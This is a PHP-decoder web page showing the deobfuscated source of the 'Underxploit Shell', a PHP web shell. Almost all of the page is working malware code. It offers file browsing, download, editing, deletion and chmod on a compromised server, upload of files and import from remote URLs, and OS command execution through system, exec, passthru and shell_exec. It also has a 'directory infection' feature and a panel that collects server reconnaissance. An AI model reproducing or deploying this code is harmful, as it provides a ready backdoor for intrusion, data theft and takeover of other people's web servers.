Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ZSmxS; W9jkc: print "\x3c\164\x61\142\154\x65\x20\x63\x6c\x61\163\x73\75\42\14..

Decoded Output download

<?php 
goto ZSmxS; W9jkc: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Directory Infection</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "infection&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>"; goto k16sg; jhK7L: $dir = str_replace("\", "/", $dir); goto MomEi; yW1ta: print "<i class="zmdi zmdi-long-arrow-up zmdi-hc-fw move-top"></i>"; goto pgfeH; CwjEz: $datasi = @fopen("js/js.php", "r"); goto ehdkL; OBRCV: function xp($str) { return is_array($str) ? array_map("rawurldecode", $str) : rawurldecode($str); } goto wmsPK; PBvPv: switch ($_UNDERXPLOIT["command"]) { case "logout": r($_SERVER["PHP_SELF"]); setcookie(md5($_SERVER["HTTP_HOST"]), time() - 3600); break; case "download": $dir = $_UNDERXPLOIT["file"]; $file = file_get_contents($dir); ob_end_clean(); header("Content-type: application/octet-stream"); header("Content-length: " . strlen($file)); header("Content-disposition: attachment; filename=" . basename($dir)); print $file; die; break; case "delete": $delete = unlink($_UNDERXPLOIT["file"]); switch (true) { case $delete: print "<script type="text/javascript">c("?" . x5 . $dir . "");</script>"; break; default: bacot("Permission denied"); } break; case "deledir": $xzi = deledir($dir); switch (true) { case "$xzi": print "<script type="text/javascript">window.location = "?" . x5 . dirname($dir) . "";</script>"; break; default: print "<script type="text/javascript">window.location = "?" . x5 . dirname($dir) . "";</script>"; bacot("Permission denied"); } break; case "view": print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SOURCE VIEWER</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span> " . basename($_UNDERXPLOIT["file"]) . " <span class="label-success">]</span></td><td style="width:90px" class="coL-option-panel" align="center" onclick='c("?" . x7 . "download&" . x5 . $dir . "&" . x6 . $dir . "/" . basename($_UNDERXPLOIT["file"]) . "")'>" . $size . "</td></table><hr>"; print "<table>
<th><button class='coL-btn-option-active'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></th>\xa<th><a onclick="c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></a></th>
<th><a onclick="c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></a></th>\xa<th><a onclick="c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></a></th>\xa<th><a onclick="c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>"; $source = htmlspecialchars(@file_get_contents($_UNDERXPLOIT["file"])); switch (true) { case empty($source): print x9; bacot("Source not found"); break; default: print "<div id="paksa"><pre class="top"><code class="php">" . $source . "</code></pre></div></div>"; } break; case "edit": switch (true) { case $_UNDERXPLOIT["save"]: $save = file_put_contents($_UNDERXPLOIT["file"], $_UNDERXPLOIT["src"]); switch (true) { case $save: bacot("Source saved"); break; detault: bacot("Permission denied"); } } print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">EDIT SOURCE</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span> " . basename($_UNDERXPLOIT["file"]) . " <span class="label-success">]</span> </td><td style="width:90px" class="coL-option-panel" align="center" onclick='c("?" . x7 . "download&" . x5 . $dir . "&" . x6 . $dir . "/" . basename($_UNDERXPLOIT["file"]) . "")'>" . $size . "</td></table><hr>"; print "<table>
<th><a onclick="c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></a></th>
<th><button class='coL-btn-option-active'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></th>
<th><a onclick="c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></a></th>
<th><a onclick="c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></a></th>\xa<th><a onclick="c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>"; $source = htmlspecialchars(@file_get_contents($_UNDERXPLOIT["file"])); switch (true) { case empty($source): print "<form method='post' action='?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "'  style='margin:0px'>"; print "<script type="text/javascript">\xa$(function() {\xa	$(".lined").linedtextarea({selectedLine: 1});
}); </script>"; print "<div id='paksa'><textarea name='src' class='lined' placeholder='// this editor only works for source code.'></textarea><input type='submit' class='btn-exe' value='SAVE' name='save' style='margin-top:3px;width: 100%'></form></div></div>"; break; default: print "<form method='post' action='?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "' style='margin:0px'>"; print "<script type="text/javascript">\xa$(function() {\xa\x9$(".lined").linedtextarea({selectedLine: 1});\xa}); </script>"; print "<div id='paksa'><textarea name='src' class='lined' placeholder='// this editor only works for source code.'>" . $source . "</textarea><input type='submit' value='SAVE' name='save' class='btn-exe' style='margin-top:3px;width: 100%'></form></div></div>"; } break; case "rename": switch (true) { case $_UNDERXPLOIT["rename"]: $rename = rename($_UNDERXPLOIT["file"], "{$dir}/" . htmlspecialchars($_UNDERXPLOIT["rename"]) . ''); switch (true) { case $rename: mtr("?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $dir . "/" . $_UNDERXPLOIT["rename"]); bacot("File renamed"); break; default: bacot("Permission denied"); } } print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">RENAME FILE</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span>  " . basename($_UNDERXPLOIT["file"]) . " <span class="label-success">]</span></td><td style="width:90px" class="coL-option-panel" align="center" onclick='c("?" . x7 . "download&" . x5 . $dir . "&" . x6 . $dir . "/" . basename($_UNDERXPLOIT["file"]) . "")'>" . $size . "</td></table><hr>"; print "<table>
<th><a onclick="c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></a></th>
<th><a onclick="c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></a></th>
<th><button class='coL-btn-option-active'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></th>
<th><a onclick="c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></a></th>
<th><a onclick="c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>\xa	<div class='coL-option top'><br /><br />
	<center>\xa		<i class='zmdi zmdi-file-text zmdi-hc-fw zmdi-hc-4x'></i></center><br /><br /><form action='?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "' style='margin:0px' method='post'>\xa<table cellspacing='0'>
\x9<td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'><input type='text' value='" . basename($_UNDERXPLOIT["file"]) . "' name='rename' id='vrn'></td><td style='width:20%'>\xa	<button type='submit' class='btn-exe' id='rn' onclick='rnm(); return false'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table>\xa\x9</form></div></div>"; print "<script type="text/javascript">function rnm(){
if(document.getElementById("vrn").value == ""){"; s("Form do not leave empty"); print "document.getElementById("vrn").focus();
      return false;
\x9} document.getElementById("rn").submit();
} </script>"; break; case "chmod": switch (true) { case $_UNDERXPLOIT["perm"]: switch (true) { case chmod($_UNDERXPLOIT["file"], octdec($_UNDERXPLOIT["perm"])): mtr("?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"]); bacot("Items changed mode to " . decoct(octdec($_UNDERXPLOIT["perm"]))); break; default: bacot("Permission denied"); } } print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHMOD FILE</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span>  " . basename($_UNDERXPLOIT["file"]) . " <span class="label-success">]</span> </td><td style="width:90px" class="coL-option-panel" align="center" onclick='c("?" . x7 . "download&" . x5 . $dir . "&" . x6 . $dir . "/" . basename($_UNDERXPLOIT["file"]) . "")'>" . $size . "</td></table><hr>"; print "<table>
<th><a onclick="c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></a></th>\xa<th><a onclick="c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></a></th>\xa<th><a onclick="c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></a></th>
<th><button class='coL-btn-option-active'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></th>\xa<th><a onclick="c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "')"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>\xa\x9<div class='coL-option top'><br /><br>\xa\x9<center>
	\x9<i class='zmdi zmdi-wrench zmdi-hc-fw zmdi-hc-4x'></i></center><br><br />
<form action='?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT["file"] . "' style='margin:0px' method='post'>
<table cellspacing='0'>\xa	<td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'>\xa<input type='number' value='" . substr(sprintf("%o", fileperms($_UNDERXPLOIT["file"])), -4) . "' name='perm' style='width:100%' id='decoct'></td><td style='width:20%'>\xa	<button id='chcrot' class='btn-exe' onclick='chmod(); return false'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table>
	</form></div></div>"; print "<script type="text/javascript">function chmod(){\xaif(document.getElementById("decoct").value == ""){"; s("Form do not leave empty"); print "document.getElementById("decoct").focus();
      return false;\xa	} document.getElementById("chcrot").submit();\xa} </script>"; break; case "change": print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHANGE PASSWORD</td></table></div>"; function xs($file) { return file_get_contents($file); } function chipt($plain) { return md5($plain); } function changepass($plain) { $npass = chipt($plain); $npass = "$pass = "" . $npass . "";"; $con = xs($_SERVER["SCRIPT_FILENAME"]); $con = preg_replace("/\$pass\ *=\ *["\']*([a-fA-F0-9]*)["\']*;/is", $npass, $con); return file_put_contents($_SERVER["SCRIPT_FILENAME"], $con); } switch (true) { case $_UNDERXPLOIT["newpass"]: switch (true) { case chipt($_UNDERXPLOIT["newpass"]) == $pass: bacot("Password is the same as at this time"); break; case changepass($_UNDERXPLOIT["newpass"]): mtr("?" . x5 . $dir . "&" . x7 . "logout"); bacot("Password changed"); break; default: bacot("Unable to change password"); } } print "<script type="text/javascript">\xafunction validate() {\xa\x9\x9	var a = document.getElementById("newpass").value;
            var b = document.getElementById("confirm").value;\xa            if(a!=b) {"; s("Password do not match"); print "return false; 
	}\xa} </script>"; print "<div class='coL-option top'>\xa    <form method='post' onSubmit='return validate();' action='?" . x7 . "change&" . x5 . $dir . "'>
        <table style='width:100%'>
            <td class='tup' style='width:120px'>Password :</td>\xa            <td style='width:75%'><input type='password' id='newpass' name='newpass' style='width:100%'></td>\xa        <tr>\xa            <td class='tup' style='width:120px'>Confirm :</td>\xa            <td style='width:75%'><input type='password' id='confirm' name='confirm' style='width:100%'></td>\xa        <tr>
             <td style='width:120px'></td>\xa             <td style='width:75%'>
           <button type='submit' name='cps' class='btn-exe' onclick='saveForm();return false;' style='width:100px' id='bck'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td>
        </table>\xa    </form>\xa</div></div>"; print "<script type="text/javascript">function saveForm(){\xaif(document.getElementById("newpass").value == ""){"; s("Enter new password"); print "document.getElementById("newpass").focus();\xa      return false;\xa    }
if(document.getElementById("confirm").value == ""){"; s("Confirm your password"); print "return false;
    }\xa    document.getElementById("bck").submit();
}\xa</script>"; break; case "kill": switch (true) { case file_exists("underxploit.php"): unlink("underxploit.php"); unlink(__FILE__); bacot("Good Bye Baby :')"); mtr("http://underxploit.blogspot.com"); } break; case "renadir": $c = $_UNDERXPLOIT["e"]; switch (true) { case $_UNDERXPLOIT["e"]: $e = rename($dir, '' . dirname($dir) . "/" . htmlspecialchars($_UNDERXPLOIT["e"]) . ''); switch (true) { case $e: print "<script type="text/javascript">c("?" . x5 . dirname($dir) . "");</script>"; break; default: bacot("Permission denied"); } } print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">RENAME DIRECTORY</td></table></div>"; print "<div class='coL-option top'><br /><br /><center><i class='zmdi zmdi-folder-outline zmdi-hc-fw zmdi-hc-4x'></i></center><br /><br />"; print "<form action='?" . x7 . "renadir&" . x5 . $dir . "' style='margin:0px' method='post'><table cellspacing='0'><td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'><input type='text' value='" . basename($dir) . "' name='e' id='vrn'></td><td style='width:20%'><button type='submit' class='btn-exe' onclick='rnm(); return false' id='rn'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table></form></div></div>"; print "<script type="text/javascript">function rnm(){
if(document.getElementById("vrn").value == ""){"; s("Form do not leave empty"); print "document.getElementById("vrn").focus();\xa      return false;
	} document.getElementById("rn").submit();\xa} </script>"; break; case "chmdir": switch (true) { case $_UNDERXPLOIT["perm"]: switch (true) { case chmod($dir, octdec($_UNDERXPLOIT["perm"])): mtr("?" . x7 . "chmdir&" . x5 . $dir); bacot("Directory changed mode to " . decoct(octdec($_UNDERXPLOIT["perm"]))); break; default: bacot("Permission denied"); } } print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHMOD DIRECTORY </td></table></div>"; print "<div class='coL-option top'><br /><br /><center><i class='zmdi zmdi-wrench zmdi-hc-fw zmdi-hc-4x'></i></center><br /><br />"; print "<form action='?" . x7 . "chmdir&" . x5 . $dir . "' style='margin:0px' method='post'><table cellspacing='0'><td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'><input type='number' value='" . substr(sprintf("%o", fileperms($dir)), -4) . "' name='perm' id='decoct'></td><td style='width:20%'><button type='submit' id='chcrot' onclick='chmod(); return false' class='btn-exe'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table></form></div></div>"; print "<script type="text/javascript">function chmod(){
if(document.getElementById("decoct").value == ""){"; s("Form do not leave empty"); print "document.getElementById("decoct").focus();\xa      return false;
\x9} document.getElementById("chcrot").submit();
} </script>"; break; case "about": print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">ABOUT ME</td></table></div>"; print "<div class="coL-option" style="padding:7px"><br /><br />\xa    <center><i class="zmdi zmdi-shield-check zmdi-hc-4x animated infinite rubberBand"></i></center><br />
    <center>\xa        <font size="4px" style="shadow:2px 2px 0px #fff">UNDERXPLOIT SHELL</font>\xa  \x9		<br /><i class="zmdi zmdi-globe-lock zmdi-hc-fw"></i><span class="label-success"> http://" . $_SERVER["HTTP_HOST"] . "</span></center><br /><br />
\x9</div>\xa
<div class="coL-panel top">\xa    <table>\xa        <td class="td-panel">\xa            <center>
                \x9<div class="loader"></div>\xa            \x9</center>
        \x9</td>
        <td class="td-panel-right">CREDITS</td>
    </table>\xa</div>\xa<div id="paksa"><table class="table-info">
    <tr class="ex-hov">
        <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Name</td>
        <td class="td-info">: Underxploit Shell</td>\xa    <tr class="ex-hov">
        <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Version</td>\xa        <td class="td-info">: 0.1.4 [ Dark ]</td>
    <tr class="ex-hov">
         <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Author</td>
         <td class="td-info">: Wildan Izzudin</td>
    <tr class="ex-hov">
          <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Email</td>\xa          <td class="td-info break">: <a class="a" href="mailto:[email protected]">[email protected]</a></td>\xa    <tr class="ex-hov">\xa           <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Facebook</td>\xa           <td class="td-info break">: <a class="a" href="http://www.facebook.com/WILDAN.OFFICIAL">@WILDAN.OFFICIAL</a></td>
    <tr class="ex-hov">\xa            <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Blog</td>\xa            <td class="td-info">: <a class="a" href="#">Underxploit Reborn</a></td>
	</table>\xa</div>\xa<div class="coL-option">
    <center><br />If there is any suggestion or feedback please contact me through the contact above.<br /><br />\xa        <center><br />&mdash; Thank You &mdash;</center>
\x9</div>
</div>"; break; case "upload": print "<div class="coL-panel"><table>
	\x9<td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE UPLOAD</td></table></div>"; switch (true) { case $_REQUEST["upload"]: switch (true) { case $_UNDERXPLOIT["upload"]: $ff = count($_FILES["file"]["name"]); for ($i = 0; $i < $ff; $i++) { $drp = $_FILES["file"]["name"][$i]; switch (true) { case empty($drp): continue 2; break; } if (isset($_REQUEST["ufile"][$i])) { $ufile = $_REQUEST["ufile"][$i]; switch (true) { case empty($ufile): $cx = $_FILES["file"]["name"][$i]; break; default: $cx = $ufile; } switch (true) { case @copy($_FILES["file"]["tmp_name"][$i], $dir . "/" . $cx): bacot("File uploaded succesfully"); break; default: bacot("Failed to upload file"); } } } break; } break; } print "<script type="text/javascript">\xa$(document).ready(function() {
\x9var wr1 = $(".input_1");
\x9var add1 = $(".add_1"); 
	var x1 = 1; \xa\xa$(add1).click(function(e) { 
\x9	e.preventDefault();\xa\x9		if(x1 < 5) { \xa\x9\x9\x9\x9x1++; 
\x9	\x9$(wr1).append('<table><td class="tup" style="width:20%">File :</td><td style="width:80%"><input type="file" name="file[]"></td><tr><td class="tup" style="width:20%">Name :</td><td style="width:80%"><input name="ufile[]" type="text" placeholder="( Optional )" value="" /></td></table>');\xa		} else {
\x9	\x9$(".add_1").hide();
\x9\x9}\xa\x9});\xa$(wr1).on("click",".remove_field", function(e) { 
\x9\x9e.preventDefault(); $(this).parent('div').remove(); x1--;
\x9})\xa});</script>
\x9\x9<div class="coL-option"><div class="wr"><span class="label-success"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></span> From Device : <button class="lawb add_1" style="width:50px;float:right">Add </button></div><hr>
    <form enctype="multipart/form-data" action="?" . x7 . "upload&" . x5 . $dir . "" method="POST" style="margin:0px">
  <div class="input_1">      
<table>
            <td class="tup" style="width:20%">File :</td>\xa            <td style="width:80%">\xa                <input type="file" name="file[]"></td>\xa        <tr>
            <td class="tup" style="width:20%">Name :</td>
            <td style="width:80%"><input name="ufile[]" type="text" placeholder="( Optional )" value="" /></td>\xa </table>
    	</div>                
<table><td style="width:20%"></td>
                <td style="width:80%"><input type="submit" name="upload" style="width:100px" value="Upload" class="btn-exe" />
            </td>\xa        </table>
    </form>
</div>"; if (isset($_UNDERXPLOIT["submit"])) { $url = count($_UNDERXPLOIT["url"]); for ($i = 0; $i < $url; $i++) { $drq = $_UNDERXPLOIT["url"][$i]; switch (true) { case empty($drq): continue 2; } switch (true) { case empty($_UNDERXPLOIT["uname"][$i]): $ufc = basename($drq); break; default: $ufc = $_UNDERXPLOIT["uname"][$i]; } switch (true) { case op($ufc, $drq): bacot("File imported"); break; default: bacot("Failed to import file"); } } } print "<script type="text/javascript">\xa$(document).ready(function() {
\x9var wr2 = $(".input_2");\xa\x9var add2 = $(".add_2"); 
	var x2 = 1; 
\xa$(add2).click(function(e) { 
		e.preventDefault();
		\x9if(x2 < 5) { \xa\x9	\x9	x2++; \xa\x9	\x9$(wr2).append('<table style="width:100%"><td class="tup" style="width:20%">Link :</td><td style="width:80%"><input type="text" name="url[]" placeholder="https://pastebin.com/raw/M4bJJtBD" style="width:100%"></td><tr><td class="tup" style="width:20%">Name :</td><td style="width:80%"><input type="text" name="uname[]" style="width:100%" placeholder="( Optional )"></td></table>');\xa\x9\x9} else {\xa\x9\x9	$(".add_2").hide();
\x9	}\xa});
	$(wr2).on("click",".remove_field", function(e) { \xa	\x9e.preventDefault(); $(this).parent('div').remove(); x2--;
	})\xa});</script>\xa<div class="coL-option top"><div class="wr"><span class="label-success"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></span> From Internet (Import) :  <button class="lawb add_2" style="width:50px;float:right">Add </button></div>\xa    <hr>\xa<form action="?" . x7 . "upload&" . x5 . $dir . "" method="POST">\xa\x9<div class="input_2">
        <table style="width:100%">\xa            <td class="tup" style="width:20%">Link :</td>
            <td style="width:80%"><input type="text" name="url[]" placeholder="https://pastebin.com/raw/M4bJJtBD" style="width:100%"></td>
        <tr>\xa            <td class="tup" style="width:20%">Name :</td>\xa            <td style="width:80%"><input type="text" name="uname[]" style="width:100%" placeholder="( Optional )"></td>\xa     </table>\xa</div>\xa     <table>
            <td style="width:20%"></td>\xa            <td style="width:80%"><input type="submit" name="submit" style="width:100px" value="Upload" class="btn-exe"></td>\xa     </table>
    	</form>\xa	</div>
</div>"; break; case "system": function exe($corey) { switch (true) { case function_exists("system"): @ob_start(); @system($corey); $corex = @ob_get_contents(); @ob_end_clean(); return $corex; break; case function_exists("exec"): @exec($corey, $values); $corex = ''; foreach ($values as $value) { $corex .= $result; } return $corex; break; case function_exists("passthru"): @ob_start(); @passthru($corey); $corex = @ob_get_contents(); @ob_end_clean(); return $corex; break; case function_exists("shell_exec"): $corex = @shell_exec($corey); return $corex; } } function disk($dz) { switch (true) { case $dz >= 1073741824: return sprintf("%1.2f", $dz / 1073741824) . " GB"; break; case $dz >= 1048576: return sprintf("%1.2f", $dz / 1048576) . " MB"; break; case $dz >= 1024: return sprintf("%1.2f", $dz / 1024) . " KB"; break; default: return $dz . " B"; } } function fuck($b_ms, $c_ms, $d_ms) { if (strpos($b_ms, $c_ms) === FALSE) { return FALSE; } if (strpos($b_ms, $d_ms) === FALSE) { return FALSE; } $a_ms = strpos($b_ms, $c_ms) + strlen($c_ms); $e_ms = strpos($b_ms, $d_ms, $a_ms); $f_ms = substr($b_ms, $a_ms, $e_ms - $a_ms); return $f_ms; } switch (true) { case get_magic_quotes_gpc(): function nom($pom) { return is_array($pom) ? array_map("nom", $pom) : stripslashes($pom); } $_UNDERXPLOIT = nom($_UNDERXPLOIT); } $safemode = @ini_get(strtolower("safe_mode")) == "on" ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>"; $disablefunc = @ini_get("disable_functions"); $mysql = function_exists("mysql_connect") ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>"; $curl = function_exists("curl_version") ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</font>"; $wget = exe("wget --help") ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>"; $perl = exe("perl --help") ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</font>"; $python = exe("python --help") ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>"; $disfunc = !empty($disablefunc) ? "<span class='label-danger'>" . $disablefunc . "</span>" : "<span class='label-success'>NONE</span>"; switch (true) { case !function_exists("posix_getegid"): $_cox = @get_current_user(); $_cid = @getmyuid(); $_ccr = @getmygid(); $_cum = "?"; break; default: $_cid = @posix_getpwuid(posix_geteuid()); $_ccr = @posix_getgrgid(posix_getegid()); $_cox = $_cid["name"]; $_cid = $_cid["uid"]; $_cum = $_ccr["name"]; $_ccr = $_ccr["gid"]; } print "<div class="coL-panel">
   <table>
        <td class="td-panel">\xa            <center>\xa                <div class="loader"></div>
            </center>
        </td>\xa        <td class="td-panel-right">SYSTEM INFORMATION</td>\xa    </table>
</div>"; print "<div id='paksa'><table width=100% class='table-info' cellspacing=0>
    <th class=th-info style=width:120px>
        <center>Component</center>\xa    </th>
    <th class=th-info>\xa        <center>Arrow</center>\xa    </th>\xa    <th class=th-info break>\xa        <center>Result</center>
    </th>\xa</tr>\xa\x9\xa<tr class='ex-hov'>\xa    <td class='td-info' style='width:130px'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Server </td>
    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>\xa    <td class='td-info'> " . $_SERVER["SERVER_SOFTWARE"] . "</td>\xa</tr>\xa\xa<tr class='ex-hov'>
    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Username
    </td>\xa    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>\xa    <td class='td-info'> " . $_cox . " [" . $_cid . "]</td>
</tr>
\xa<tr class='ex-hov'>\xa    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Group
    </td>
    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'>" . $_cum . " [" . $_ccr . "]</td>\xa</tr>\xa\xa<tr class='ex-hov'>\xa    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Server IP </td>\xa    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'>" . gethostbyname($_SERVER["HTTP_HOST"]) . "</td>
</tr>\xa\xa<tr class='ex-hov'>
    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Your IP </td>
    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>\xa    <td class='td-info'> " . $_SERVER["REMOTE_ADDR"] . "</td>
</tr> 
\xa<tr class='ex-hov'>
    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  PHP Version</td>
    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'> " . @phpversion() . "</td>
</tr>

<tr class='ex-hov'>
    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Disk Space</td>\xa    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'>[" . disk(disk_free_space(getcwd())) . "] / [" . disk(disk_total_space(getcwd())) . "]</td>\xa</tr>
\xa<tr class='ex-hov'>
    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Safe Mode</td>
    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'> {$safemode}</td>
</tr>\xa
<tr class='ex-hov'>
    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  MySQL</td>\xa    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'>{$mysql}</td>\xa</tr>
\xa<tr class='ex-hov'>\xa    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Perl
    </td>
    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'> {$perl} </td>
</tr>

